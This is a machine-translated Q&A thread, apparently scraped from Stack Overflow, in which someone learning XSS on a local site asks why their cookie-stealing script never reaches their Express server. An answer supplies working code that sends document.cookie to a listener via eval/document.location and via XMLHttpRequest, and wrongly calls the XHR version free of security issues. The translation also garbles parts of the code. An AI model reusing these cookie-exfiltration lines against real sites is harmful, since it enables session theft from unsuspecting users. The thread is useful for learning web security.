Javascript 为什么这个xss脚本不调用我的服务器?
我学习xss攻击是为了更好地了解应用程序安全性。我正在尝试执行一项基本任务:在我自己的本地网站上获取用户cookie并将其发送到本地服务器 我已成功检索到带有警报的cookie。但是我不能执行api调用。这有什么问题吗 React应用程序:Javascript 为什么这个xss脚本不调用我的服务器?,javascript,xss,Javascript,Xss,我学习xss攻击是为了更好地了解应用程序安全性。我正在尝试执行一项基本任务:在我自己的本地网站上获取用户cookie并将其发送到本地服务器 我已成功检索到带有警报的cookie。但是我不能执行api调用。这有什么问题吗 React应用程序:
在我的服务器上:
const-app=require(“express”)();
const cors=要求(“cors”);
应用程序使用(cors());
app.get(“/xss)”,(请求,res)=>{
const{user}=req.query
res.send(“它工作”,用户);
});
app.listen(2021,()=>
log(“服务器正在等待读取美味的cookies”)
);
从不调用/xss路由。设置innerHTML不会执行脚本
document.getElementById(“容器”).innerHTML=`alert(“hello”)什么都没有发生`
我真的不知道你想做什么。但是,创建这样的脚本标记不应该是您的解决方案。问题是JavaScript没有被调用,因为它没有被设置为JavaScript。您只是在标记内部创建一个文本节点。当您想从字符串调用JavaScript时,可以使用eval
函数(由于安全问题,我不建议使用该函数)。但无论如何,现在你可以使用它了:
const script=`document.location='http://localhost:2021/xss?user=“+document.cookie;”;
评估(脚本);
但仍然:不要那样做强>
您可以参考从服务器交付JavaScript文件并使用src
属性来加载它
当您只想调用HTTP请求时,可以使用XHR。您可以找到该主题的详细信息。但简而言之:
const xhr=new-XMLHttpRequest();
xhr.open('GET','http://localhost:2021/xss?user=“+document.cookie);
xhr.send();
这应该可以在没有安全问题的情况下完成工作。好的,那么为什么React应用程序易受攻击?我想我应该永远不要使用SetDangerInnerHTML,因为它会允许xss攻击。但是如果我不能向远程服务器发送任何信息,那么真正入侵网站的唯一方法就是访问用户的计算机,对吗?如果可以将cookie发送到服务器,我应该如何做?也谢谢你编辑了问题的标题,我犯了一个愚蠢的错误。编辑:我在下面看到了你的答案,谢谢!